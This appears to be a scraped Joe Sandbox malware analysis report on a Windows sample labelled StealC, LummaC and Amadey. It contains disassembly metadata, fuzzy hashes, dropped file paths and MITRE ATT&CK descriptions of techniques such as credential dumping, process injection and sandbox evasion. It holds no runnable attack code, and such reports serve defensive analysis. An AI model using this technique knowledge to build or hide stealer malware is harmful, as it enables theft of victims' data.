Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 1b063267b1b8f3f97fab1a83dc079b3fe31e598029d7e199b2825fde56da2d59
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 7CE08C32921228EBCB14DB99C90898AF3ECEB4AB00B650096F902E3251C374DE00CBD0

Function 00764840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00764877
___except_validate_context_record.LIBVCRUNTIME ref: 0076487F
_ValidateLocalCookies.LIBCMT ref: 00764908
__IsNonwritableInCurrentImage.LIBCMT ref: 00764933
_ValidateLocalCookies.LIBCMT ref: 00764988

Strings

S9v, xrefs: 00764925, 0076492E, 0076493F
csm, xrefs: 0076491D

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9v$csm
API String ID: 1170836740-4019946690
Opcode ID: b0c28b2b400804256628fc013122b8da1b7bea3784f8b943b88f6f66221d0f36
Instruction ID: 50379cb81d5469d26ca3ebe523f83a500095009c11019367f8d05474a935dfc4
Opcode Fuzzy Hash: b0c28b2b400804256628fc013122b8da1b7bea3784f8b943b88f6f66221d0f36
Instruction Fuzzy Hash: C7510A30A00209DFCF10DF68D889AAF7BB5AF46314F148155EC1A9B352D73AEE55CB91

Function 00732EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00732F5F
__Mtx_unlock.LIBCPMT ref: 00732FCC
__Cnd_broadcast.LIBCPMT ref: 00732FE3
__Mtx_unlock.LIBCPMT ref: 007330F5
__Mtx_unlock.LIBCPMT ref: 0073319B

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 10198d86d356dfe61b863b985c225e3a8b1243a68fa73c652a8a73f04fae9be5
Instruction ID: 8ded3803558d6b1c58fd23a82389b68276da60ae64fd2fb774943e459fd1aaf7
Opcode Fuzzy Hash: 10198d86d356dfe61b863b985c225e3a8b1243a68fa73c652a8a73f04fae9be5
Instruction Fuzzy Hash: 80A1F5B1A01609EFEB25DF64C94876AB7B8FF15310F048139E815D7242EB79DA05CBD1

Function 0076F35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0076F3A3

Strings

8"y, xrefs: 0076F44B
`'y, xrefs: 0076F375
,mv, xrefs: 0076F367, 0076F49B

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,mv$8"y$`'y
API String ID: 3903695350-2351739085
Opcode ID: 64adddf6aa672f624fba635a9853c94d8e8f928f8cfe7ba67be4c119cd30fbb8
Instruction ID: 08d18efe8b00d60ef6f41bd0982ffb53ee2aab345495df3e67fafffd9f10787b
Opcode Fuzzy Hash: 64adddf6aa672f624fba635a9853c94d8e8f928f8cfe7ba67be4c119cd30fbb8
Instruction Fuzzy Hash: C3316131600602EFDB21AB39E849B5B77E4EF00351F14842AE857E7A99DF78EC80CB11

Function 0076CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0076CC66

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 6c7083fed2a8049aca15ea981f9e7456f49c71c07049fe5f865e23989fb85647
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: E2B14932A046859FDB16CF28C8857BEBBF5EF45340F1481AADC96EB242D63D9D01CB60

Function 0074BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0074BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0074BBE4
_xtime_get.LIBCPMT ref: 0074BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0074BC13

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: be09204eac04e7313df27fd42ef57626f924714acfedefed4ff4203c1c515d22
Instruction ID: b5a971d734513cc652f157abeb7aaa23e16328067f382f18b52b7b790e152cd9
Opcode Fuzzy Hash: be09204eac04e7313df27fd42ef57626f924714acfedefed4ff4203c1c515d22
Instruction Fuzzy Hash: 38214C72E01119EFDF41EFA4DC859BEB7B9EF08710F114429FA01A7261DB389D059BA1

Function 0073E360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0073E4F9

Strings

L1y, xrefs: 0073E394
invalid stoi argument, xrefs: 0073E4F4

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1y$invalid stoi argument
API String ID: 909987262-3986455483
Opcode ID: f7adcecb0b87cdeb3a51e09c8e321fd3d094804e76d7640c88a6e88ea5dad252
Instruction ID: c098ddd1187fecc59ef4b065250ad12a265f538dc1c97ded4d111aad4490fdd5
Opcode Fuzzy Hash: f7adcecb0b87cdeb3a51e09c8e321fd3d094804e76d7640c88a6e88ea5dad252
Instruction Fuzzy Hash: 22F0F671541318EBE320AB689C0A95733A8EB09710F008426FD1493263EB3C6900C7E3

Input	Output
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The page appears to be focused on a technical error message related to a .NET Framework application, and does not display any brand information.

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\822dda4848.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre